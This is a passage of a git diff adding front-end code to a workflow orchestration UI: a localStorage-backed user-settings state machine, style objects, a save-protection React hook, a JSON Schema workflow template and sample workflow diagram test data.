UserSettingsStates.SAVING_TO_STORAGE, + }, + }, + [UserSettingsStates.SAVING_TO_STORAGE]: { + invoke: { + src: "saveToLocalStorage", + onDone: { + target: UserSettingsStates.READY, + }, + onError: { + target: UserSettingsStates.READY, + }, + }, + }, + }, + }, + { + actions: actions as any, + services: services as any, + guards: guards as any, + }, +); diff --git a/ui-next/src/shared/state/userSettingsMachine/services.ts b/ui-next/src/shared/state/userSettingsMachine/services.ts new file mode 100644 index 0000000..f643195 --- /dev/null +++ b/ui-next/src/shared/state/userSettingsMachine/services.ts @@ -0,0 +1,48 @@ +import { tryToJson } from "utils/utils"; +import { logger } from "utils/logger"; +import { UserSettingsMachineContext } from "./types"; + +const USER_SETTINGS_STORAGE_KEY = "userSettings"; + +export const loadFromLocalStorage = async (): Promise< + Partial +> => { + try { + const savedSettings = window.localStorage.getItem( + USER_SETTINGS_STORAGE_KEY, + ); + if (savedSettings) { + const parsedSettings = + tryToJson>(savedSettings); + if (parsedSettings !== undefined) { + return parsedSettings; + } else { + window.localStorage.removeItem(USER_SETTINGS_STORAGE_KEY); + logger.log("Couldn't parse user settings, removing from localStorage."); + } + } + } catch (error) { + logger.error("Error loading user settings from localStorage", error); + } + return {}; +}; + +export const saveToLocalStorage = async ( + context: UserSettingsMachineContext, +) => { + try { + const settingsToSave = { + firstWorkflowExecuted: context.firstWorkflowExecuted, + dismissedMessages: context.dismissedMessages, + dismissAllMessages: context.dismissAllMessages, + }; + window.localStorage.setItem( + USER_SETTINGS_STORAGE_KEY, + JSON.stringify(settingsToSave), + ); + return settingsToSave; + } catch (error) { + logger.error("Error saving user settings to localStorage", error); + throw error; + } +}; diff --git a/ui-next/src/shared/state/userSettingsMachine/types.ts b/ui-next/src/shared/state/userSettingsMachine/types.ts new file mode 100644 index 0000000..4bc450d --- /dev/null +++ b/ui-next/src/shared/state/userSettingsMachine/types.ts @@ -0,0 +1,41 @@ +export interface UserSettingsMachineContext { + firstWorkflowExecuted: boolean; + dismissedMessages: string[]; + dismissAllMessages: boolean; + isShowingConfettiThisSession: boolean; +} + +export enum UserSettingsStates { + INIT = "init", + LOADING_FROM_STORAGE = "loadingFromStorage", + READY = "ready", + SHOWING_CONFETTI = "showingConfetti", + CONFETTI_VISIBLE = "confettiVisible", + SAVING_TO_STORAGE = "savingToStorage", +} + +export enum UserSettingsEventTypes { + SET_FIRST_WORKFLOW_EXECUTED = "SET_FIRST_WORKFLOW_EXECUTED", + ADD_DISMISSED_MESSAGE = "ADD_DISMISSED_MESSAGE", + SET_DISMISS_ALL_MESSAGES = "SET_DISMISS_ALL_MESSAGES", +} + +export type SetFirstWorkflowExecutedEvent = { + type: UserSettingsEventTypes.SET_FIRST_WORKFLOW_EXECUTED; + value: boolean; +}; + +export type AddDismissedMessageEvent = { + type: UserSettingsEventTypes.ADD_DISMISSED_MESSAGE; + messageId: string; +}; + +export type SetDismissAllMessagesEvent = { + type: UserSettingsEventTypes.SET_DISMISS_ALL_MESSAGES; + value: boolean; +}; + +export type UserSettingsEvents = + | SetFirstWorkflowExecutedEvent + | AddDismissedMessageEvent + | SetDismissAllMessagesEvent; diff --git a/ui-next/src/shared/styles.ts b/ui-next/src/shared/styles.ts new file mode 100644 index 0000000..8a763a1 --- /dev/null +++ b/ui-next/src/shared/styles.ts @@ -0,0 +1,53 @@ +import { Theme } from "@mui/material"; +import { baseLabelStyle } from "theme/styles"; +import { isEmpty as _isEmpty } from "lodash"; +import { greyText2, lightGrey } from "theme/tokens/colors"; + +export const disabledInputStyle = { + "& .MuiOutlinedInput-root.Mui-disabled .MuiOutlinedInput-notchedOutline": { + borderColor: greyText2, + backgroundColor: lightGrey, + }, +}; + +export const dateRangePickerStyle = { + wrapper: { + display: "flex", + }, + input: { + ">div": { width: "100%" }, + ...disabledInputStyle, + }, +}; +export const autocompleteStyle = ({ value }: { value: any }) => ({ + ".MuiTextField-root": { + ".MuiOutlinedInput-root": { + pt: "14px", + pl: "8px", + pb: "8px", + ".MuiAutocomplete-input": { + p: 0, + }, + }, + ".MuiInputLabel-root": { + ...(baseLabelStyle as any), + color: (theme: Theme) => + _isEmpty(value) ? theme.palette.input.text : theme.palette.label.text, + "&.Mui-focused": { + fontWeight: 500, + color: (theme: Theme) => theme.palette.input.focus, + }, + "&.Mui-disabled": { + color: (theme: Theme) => theme.palette.label.disabled, + }, + "&.Mui-error": { + color: (theme: Theme) => theme.palette.input.error, + }, + }, + }, +}); + +export const customButtonStyle = { + color: "#000", + "&:hover": { background: "#0505050a" }, +}; diff --git a/ui-next/src/shared/useSaveProtection.ts b/ui-next/src/shared/useSaveProtection.ts new file mode 100644 index 0000000..7465105 --- /dev/null +++ b/ui-next/src/shared/useSaveProtection.ts @@ -0,0 +1,245 @@ +import { useSelector } from "@xstate/react"; +import { useEffect, useMemo, useRef } from "react"; +import { ActorRef, AnyEventObject, EventObject } from "xstate"; + +export interface SaveProtectionConfig< + TContext, + TEvent extends EventObject = AnyEventObject, +> { + /** + * The actor/machine to monitor for save events and state + */ + actor: ActorRef; + + /** + * Whether there are form changes (false means there are changes) + */ + noFormChanges: boolean; + + /** + * Check if save is in progress. Should return true when saving. + */ + isSaveInProgress: (state: { + context: TContext; + event: TEvent; + matches: (state: string | string[]) => boolean; + hasTag?: (tag: string) => boolean; + }) => boolean; + + /** + * Check for validation errors. Should return true if there are errors. + */ + hasErrors: (state: { + context: TContext; + event: TEvent; + matches: (state: string | string[]) => boolean; + }) => boolean; + + /** + * Optional: Function to detect successful save based on event type. + * Should return true for successful save, false for cancelled, undefined if unknown. + */ + detectSaveSuccessFromEvent?: ( + eventType: string, + state: { + context: TContext; + event: TEvent; + matches: (state: string | string[]) => boolean; + }, + ) => boolean | undefined; + + /** + * Optional: Function to detect successful save based on context changes. + * This is useful for cases where success is detected by comparing previous + * and current context values (e.g., originTaskDefinition changes). + */ + detectSaveSuccessFromContext?: (options: { + currentContext: TContext; + previousContext: TContext | null; + wasSaving: boolean; + isSaving: boolean; + }) => boolean; + + /** + * Function to trigger the save action + */ + handleSaveAction: (actor: ActorRef) => void; +} + +export interface SaveProtectionResult { + /** + * Whether to show the save prompt (true means block navigation) + */ + showPrompt: boolean; + + /** + * Whether the last save was successful (undefined if no save attempted yet) + */ + successfulSave: boolean | undefined; + + /** + * Whether there are validation errors + */ + hasErrors: boolean; + + /** + * Function to trigger the save + */ + handleSave: () => void; +} + +/** + * Generic hook for save protection logic that can be reused across different + * save scenarios (workflows, tasks, etc.) + */ +export function useSaveProtection< + TContext, + TEvent extends EventObject = AnyEventObject, +>(config: SaveProtectionConfig): SaveProtectionResult { + const { + actor, + noFormChanges, + isSaveInProgress: checkIsSaveInProgress, + hasErrors: checkHasErrors, + detectSaveSuccessFromEvent, + detectSaveSuccessFromContext, + handleSaveAction, + } = config; + + // Track the last save result using a ref to persist across renders + const lastSaveResultRef = useRef(undefined); + + // Track previous context for detecting successful saves + const prevContextRef = useRef(null); + const prevIsSavingRef = useRef(false); + + // Get current context + const currentContext = useSelector( + actor, + (state) => state.context as TContext, + ); + + // Get current saving state + const isSaving = useSelector(actor, (state) => + checkIsSaveInProgress({ + context: state.context as TContext, + event: state.event as TEvent, + matches: (statePath) => state.matches(statePath), + hasTag: (tag) => state.hasTag?.(tag) ?? false, + }), + ); + + // Detect successful save from context changes (e.g., originTaskDefinition updated) + useEffect(() => { + if (detectSaveSuccessFromContext) { + const wasSaving = prevIsSavingRef.current; + const isCurrentlySaving = isSaving; + + // Initialize the previous context on first render + if (prevContextRef.current === null) { + prevContextRef.current = currentContext; + } + + // Capture context before we start saving (when transitioning from not saving to saving) + if (!wasSaving && isCurrentlySaving) { + // We're about to start saving, capture the current context as the "before" state + prevContextRef.current = currentContext; + } + + // If we were saving and now we're not, check if save was successful + if (wasSaving && !isCurrentlySaving && prevContextRef.current) { + // Check if context was updated (indicates successful save) + const success = detectSaveSuccessFromContext({ + currentContext, + previousContext: prevContextRef.current, + wasSaving, + isSaving: isCurrentlySaving, + }); + + if (success) { + lastSaveResultRef.current = true; + } + } + + prevIsSavingRef.current = isSaving; + } else { + // If not using context detection, still track saving state + prevIsSavingRef.current = isSaving; + } + }, [isSaving, currentContext, detectSaveSuccessFromContext, actor]); + + // Check for successful save based on event types + const successfulSave = useSelector(actor, (state) => { + const eventType = state.event.type; + + // Check for cancel/success events if configured + if (detectSaveSuccessFromEvent) { + const result = detectSaveSuccessFromEvent(eventType, { + context: state.context as TContext, + event: state.event as TEvent, + matches: (statePath) => state.matches(statePath), + }); + + if (result !== undefined) { + lastSaveResultRef.current = result; + return result; + } + } + + // If we detected a successful save via context, verify there's no error + if (lastSaveResultRef.current === true) { + const hasError = checkHasErrors({ + context: state.context as TContext, + event: state.event as TEvent, + matches: (statePath) => state.matches(statePath), + }); + + if (hasError) { + // If there's an error, it wasn't successful + lastSaveResultRef.current = false; + return false; + } + } + + // Return the last known result + return lastSaveResultRef.current; + }); + + // Check for validation errors + const hasErrors = useSelector(actor, (state) => + checkHasErrors({ + context: state.context as TContext, + event: state.event as TEvent, + matches: (statePath) => state.matches(statePath), + }), + ); + + // Check if save is in progress + const isSaveInProgress = useSelector(actor, (state) => + checkIsSaveInProgress({ + context: state.context as TContext, + event: state.event as TEvent, + matches: (statePath) => state.matches(statePath), + hasTag: (tag) => state.hasTag?.(tag) ?? false, + }), + ); + + // Determine if we should show the prompt + const showPrompt = useMemo( + () => !noFormChanges && !isSaveInProgress, + [isSaveInProgress, noFormChanges], + ); + + // Handle save action + const handleSave = () => { + lastSaveResultRef.current = undefined; + handleSaveAction(actor); + }; + + return { + showPrompt, + successfulSave, + hasErrors, + handleSave, + }; +} diff --git a/ui-next/src/shared/useUserSettings.ts b/ui-next/src/shared/useUserSettings.ts new file mode 100644 index 0000000..43da443 --- /dev/null +++ b/ui-next/src/shared/useUserSettings.ts @@ -0,0 +1,30 @@ +import { useSelector } from "@xstate/react"; +import { useContext } from "react"; +import { UserSettingsContext } from "./UserSettingsContext"; +import { UserSettingsMachineContext } from "./state/userSettingsMachine"; + +export const useUserSettings = () => { + const context = useContext(UserSettingsContext); + if (!context) { + throw new Error("useUserSettings must be used within UserSettingsProvider"); + } + + const { userSettingsService } = context; + + const userSettings = useSelector( + userSettingsService, + (state) => state.context as UserSettingsMachineContext, + ); + + const isShowingConfetti = useSelector( + userSettingsService, + (state) => state.context.isShowingConfettiThisSession, + ); + + return { + userSettings, + isShowingConfetti, + send: userSettingsService.send, + service: userSettingsService, + }; +}; diff --git a/ui-next/src/templates/JSONSchemaWorkflow.js b/ui-next/src/templates/JSONSchemaWorkflow.js new file mode 100644 index 0000000..2ab2f7f --- /dev/null +++ b/ui-next/src/templates/JSONSchemaWorkflow.js @@ -0,0 +1,314 @@ +import { JSON_SCHEMA_DRAFT_07_URL } from "utils/constants/jsonSchema"; + +export const NEW_TASK_TEMPLATE = { + name: "", + description: "", + retryCount: 3, + timeoutSeconds: 3600, + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 60, + responseTimeoutSeconds: 600, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + ownerEmail: "example@email.com", + pollTimeoutSeconds: 3600, + inputKeys: [], + outputKeys: [], + inputTemplate: {}, + backoffScaleFactor: 1, + concurrentExecLimit: 0, +}; + +export const newTaskTemplate = (ownerEmail) => { + return { ...NEW_TASK_TEMPLATE, ownerEmail }; +}; + +export const NEW_WORKFLOW_TEMPLATE = { + name: "", + description: "", + version: 1, + tasks: [], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "example@email.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", +}; + +export const newWorkflowTemplate = (ownerEmail) => { + // generate random string of six characters + const suffix = Math.random().toString(36).substring(2, 7); + + return { + ...NEW_WORKFLOW_TEMPLATE, + name: `NewWorkflow_${suffix}`, + ownerEmail, + }; +}; + +export const WORKFLOW_SCHEMA = { + $schema: JSON_SCHEMA_DRAFT_07_URL, + $id: "http://example.com/example.json", + type: "object", + title: "The root schema", + description: "The root schema comprises the entire JSON document.", + default: {}, + examples: [ + { + name: "first_sample_workflow", + description: "First Sample Workflow by Orkes", + version: 1, + tasks: [ + { + name: "get_random_fact", + taskReferenceName: "get_random_fact_ref", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact_ref.output.response.body}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "example@email.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + }, + ], + required: ["name", "description", "version", "tasks", "schemaVersion"], + properties: { + name: { + $id: "#/properties/name", + default: "", + description: + "Workflow Name - should be without spaces or special characters. Underscores are allowed.", + examples: ["first_sample_workflow"], + maxLength: 100, + pattern: "(^\\w+$)|(^\\w[\\w|-]+\\w$)", + title: "Workflow Name", + type: "string", + }, + description: { + $id: "#/properties/description", + type: "string", + title: "Workflow Description", + description: "An brief description of your workflow for reference.", + default: "", + examples: ["First Sample Workflow"], + }, + version: { + $id: "#/properties/version", + default: 0, + description: "An explanation about the purpose of this instance.", + examples: [1], + title: "The version schema", + minimum: 1, + type: "integer", + }, + tasks: { + $id: "#/properties/tasks", + type: "array", + title: "Workflow Tasks", + description: "This list holds the tasks for your workflow.", + default: [], + examples: [ + [ + { + name: "get_random_fact", + taskReferenceName: "get_random_fact_ref", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + }, + ], + ], + additionalItems: true, + items: { + $id: "#/properties/tasks/items", + anyOf: [ + { + $id: "#/properties/tasks/items/anyOf/0", + type: "object", + title: "The first anyOf schema", + description: "Workflow task details", + default: { + name: "", + taskReferenceName: "", + inputParameters: {}, + type: "SIMPLE", + }, + examples: [ + { + name: "get_random_fact", + taskReferenceName: "get_random_fact_ref", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + }, + ], + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { + $id: "#/properties/tasks/items/anyOf/0/properties/name", + type: "string", + title: "Task name", + description: "Task name", + default: "", + examples: ["get_population_data"], + }, + taskReferenceName: { + $id: "#/properties/tasks/items/anyOf/0/properties/taskReferenceName", + type: "string", + title: "Task Reference Name", + description: + "A unique task reference name for this task in the entire workflow", + default: "", + examples: ["get_population_data"], + }, + inputParameters: { + $id: "#/properties/tasks/items/anyOf/0/properties/inputParameters", + type: "object", + title: "Input Parameters", + description: "Task input parameters", + default: {}, + examples: [ + { + http_request: { + uri: "https://datausa.io/api/data?drilldowns=Nation&measures=Population", + method: "GET", + }, + }, + ], + required: [], + properties: {}, + additionalProperties: true, + }, + type: { + $id: "#/properties/tasks/items/anyOf/0/properties/type", + type: "string", + title: "Task Type", + description: "Task type", + default: "", + examples: ["HTTP"], + }, + }, + additionalProperties: true, + }, + ], + }, + }, + inputParameters: { + $id: "#/properties/inputParameters", + type: "array", + title: "Workflow Input Parameters", + description: "An explanation about the purpose of this instance.", + default: [], + examples: [[]], + additionalItems: true, + items: { + $id: "#/properties/inputParameters/items", + }, + }, + outputParameters: { + $id: "#/properties/outputParameters", + type: "object", + title: "The outputParameters schema", + description: "An explanation about the purpose of this instance.", + default: {}, + examples: [ + { + data: "${task_ref.output.dataVariable}", + source: "${task_ref.output.sourceVariable}", + }, + ], + required: [], + properties: {}, + additionalProperties: true, + }, + schemaVersion: { + $id: "#/properties/schemaVersion", + type: "integer", + title: "Schema Version", + description: "Fixed schema version", + default: 2, + examples: [2], + }, + restartable: { + $id: "#/properties/restartable", + type: "boolean", + title: "Workflow restartable", + description: "Specify if the workflow is restartable.", + default: true, + examples: [true, false], + }, + workflowStatusListenerEnabled: { + $id: "#/properties/workflowStatusListenerEnabled", + type: "boolean", + title: "The workflowStatusListenerEnabled schema", + description: "An explanation about the purpose of this instance.", + default: false, + examples: [true, false], + }, + ownerEmail: { + $id: "#/properties/ownerEmail", + type: "string", + title: "The ownerEmail schema", + description: "An explanation about the purpose of this instance.", + default: "", + examples: ["example@email.com"], + }, + timeoutPolicy: { + $id: "#/properties/timeoutPolicy", + type: "string", + title: "The timeoutPolicy schema", + description: "An explanation about the purpose of this instance.", + default: "", + examples: ["ALERT_ONLY", "TIME_OUT_WF"], + }, + timeoutSeconds: { + $id: "#/properties/timeoutSeconds", + type: "integer", + title: "The timeoutSeconds schema", + description: "An explanation about the purpose of this instance.", + default: 0, + examples: [0], + }, + failureWorkflow: { + $id: "#/properties/failureWorkflow", + type: "string", + title: "Failue Workflow Name", + description: "Specify the Failure Workflow Name.", + default: "", + examples: ["shipping_failure"], + }, + }, + additionalProperties: true, +}; diff --git a/ui-next/src/testData/diagramTests.js b/ui-next/src/testData/diagramTests.js new file mode 100644 index 0000000..901489b --- /dev/null +++ b/ui-next/src/testData/diagramTests.js @@ -0,0 +1,3086 @@ +export const simpleDiagram = { + updateTime: 1646331692036, + name: "image_convert_resize_jim", + description: "Image Processing Workflow", + version: 1, + tasks: [ + { + name: "image_convert_resize_jim", + taskReferenceName: "image_convert_resize_ref", + inputParameters: { + fileLocation: "${workflow.input.fileLocation}", + outputFormat: "${workflow.input.recipeParameters.outputFormat}", + outputWidth: "${workflow.input.recipeParameters.outputSize.width}", + outputHeight: "${workflow.input.recipeParameters.outputSize.height}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "upload_toS3_jim", + taskReferenceName: "upload_toS3_ref", + inputParameters: { + fileLocation: "${image_convert_resize_ref.output.fileLocation}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + inputParameters: [], + outputParameters: { + fileLocation: "${upload_toS3_ref.output.fileLocation}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: true, + ownerEmail: "devrel@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, +}; + +export const populationMinMax = { + updateTime: 1645990260050, + name: "PopulationMinMax", + description: "Min Max Population", + version: 1, + tasks: [ + { + name: "get_population_data", + taskReferenceName: "get_population_data_ref", + inputParameters: { + http_request: { + uri: "https://datausa.io/api/data?drilldowns=State&measures=Population&year=latest", + method: "GET", + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "fork_join", + taskReferenceName: "fork_ref", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "process_population_max", + taskReferenceName: "process_population_max_ref", + inputParameters: { + body: "${get_population_data_ref.output.response.body}", + queryExpression: "[.body.data[]] | max_by(.Population)", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + [ + { + name: "process_population_min", + taskReferenceName: "process_population_min_ref", + inputParameters: { + body: "${get_population_data_ref.output.response.body}", + queryExpression: "[.body.data[]] | min_by(.Population)", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + ], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "join", + taskReferenceName: "join_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: ["process_population_max_ref", "process_population_min_ref"], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + inputParameters: [], + outputParameters: { + maxPopulation: "${process_population_max_ref.output.result}", + minPopulation: "${process_population_min_ref.output.result}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "developers@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, +}; + +export const decisionSample = { + updateTime: 1636597950018, + name: "exclusive_join", + description: "Exclusive Join Example", + version: 1, + tasks: [ + { + type: "TERMINAL", + name: "start", + taskReferenceName: "__start", + }, + { + name: "api_decision", + taskReferenceName: "api_decision_ref", + inputParameters: { + case_value_param: "${workflow.input.type}", + }, + type: "DECISION", + caseValueParam: "case_value_param", + decisionCases: { + POST: [ + { + name: "get_posts", + taskReferenceName: "get_posts_ref", + inputParameters: { + http_request: { + uri: "https://jsonplaceholder.typicode.com/posts/1", + method: "GET", + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + COMMENT: [ + { + name: "get_post_comments", + taskReferenceName: "get_post_comments_ref", + inputParameters: { + http_request: { + uri: "https://jsonplaceholder.typicode.com/comments?postId=1", + method: "GET", + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + USER: [ + { + name: "get_user_posts", + taskReferenceName: "get_user_posts_ref", + inputParameters: { + http_request: { + uri: "https://jsonplaceholder.typicode.com/posts?userId=1", + method: "GET", + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "notification_join", + taskReferenceName: "notification_join_ref", + inputParameters: {}, + type: "EXCLUSIVE_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: ["get_posts_ref", "get_post_comments_ref"], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + type: "TERMINAL", + name: "final", + taskReferenceName: "__final", + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: true, + ownerEmail: "encode_admin@test.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, +}; + +export const complexDiagram = { + createTime: 1639691367677, + updateTime: 1641859692443, + name: "port_in_wf", + description: "Port In Workflow", + version: 1, + tasks: [ + { + type: "TERMINAL", + name: "start", + taskReferenceName: "__start", + }, + { + name: "Submit To ITG with Retry", + taskReferenceName: "submit_to_itg_with_retry", + inputParameters: { + value: "${workflow.input.iterations}", + terminate: "${workflow.variables.terminate_loop}", + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "if ( ($.submit_to_itg_with_retry['iteration'] < $.value) && !$.terminate) { true; } else { false; }", + loopOver: [ + { + name: "Submit to ITG", + taskReferenceName: "submit_to_itg", + inputParameters: { + http_request: { + uri: "https://jsonplaceholder.typicode.com/todos/${$.workflow.input.iterations}", + method: "GET", + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: true, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Check Status", + taskReferenceName: "check_status", + inputParameters: { + prev_task_result: "${submit_to_itg.output}", + switchCaseValue: "${submit_to_itg.status}", + }, + type: "DECISION", + caseValueParam: "switchCaseValue", + decisionCases: { + COMPLETED: [ + { + name: "Complete Request Loop", + taskReferenceName: "complete_loop_success", + inputParameters: { + terminate_loop: true, + success: true, + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + COMPLETED_WITH_ERRORS: [ + { + name: "Retry HTTP Request", + taskReferenceName: "retry_http_request", + inputParameters: { + terminate_loop: false, + success: false, + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Update Records", + taskReferenceName: "update_records_on_retry", + inputParameters: { + update_records_on_retry: 1, + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [ + { + name: "Permanent Failure", + taskReferenceName: "terminate_loop", + inputParameters: { + terminate_loop: true, + success: false, + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Update Records Terminate", + taskReferenceName: "update_records_on_failure", + inputParameters: { + update_records_on_retry: 1, + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Terminate Workflow", + taskReferenceName: "terminate_on_perm_failure", + inputParameters: { + terminationStatus: "FAILED", + workflowOutput: + "Failing workflow as retries exhausted and failures are marked as permenant", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + { + name: "Check If Success", + taskReferenceName: "check_success", + inputParameters: { + switchCaseValue: "${workflow.variables.success}", + }, + type: "DECISION", + caseValueParam: "switchCaseValue", + decisionCases: { + false: [ + { + name: "Update Records on Failure", + taskReferenceName: "update_records_on_failure", + inputParameters: { + update_records_on_retry: 2, + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Terminate Workflow", + taskReferenceName: "terminate_on_perm_failure2", + inputParameters: { + terminationStatus: "FAILED", + workflowOutput: + "Failing workflow as retries exhausted and failures are marked as permenant", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Wait for the async message response", + taskReferenceName: "wait_for_response", + inputParameters: {}, + type: "WAIT", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Check Response", + taskReferenceName: "check_response_succeeded", + inputParameters: { + switchCaseValue: "${wait_for_response.output.success}", + }, + type: "DECISION", + caseValueParam: "switchCaseValue", + decisionCases: { + false: [ + { + name: "Update Records on ITGH Failure", + taskReferenceName: "update_records_on_itg_failure", + inputParameters: { + response: "${wait_for_response.output}", + }, + type: "SET_VARIABLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "Terminate Workflow", + taskReferenceName: "terminate_on_response_failure", + inputParameters: { + terminationStatus: "FAILED", + workflowOutput: + "Failing workflow as retries exhausted and failures are marked as permenant", + }, + type: "TERMINATE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + }, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + type: "TERMINAL", + name: "final", + taskReferenceName: "__final", + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "example@email.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: { + success: false, + }, + inputTemplate: {}, +}; + +export const simpleLoopSample = { + updateTime: 1638843682276, + name: "test_looping_concurrency", + description: "Test Looping", + version: 1, + tasks: [ + 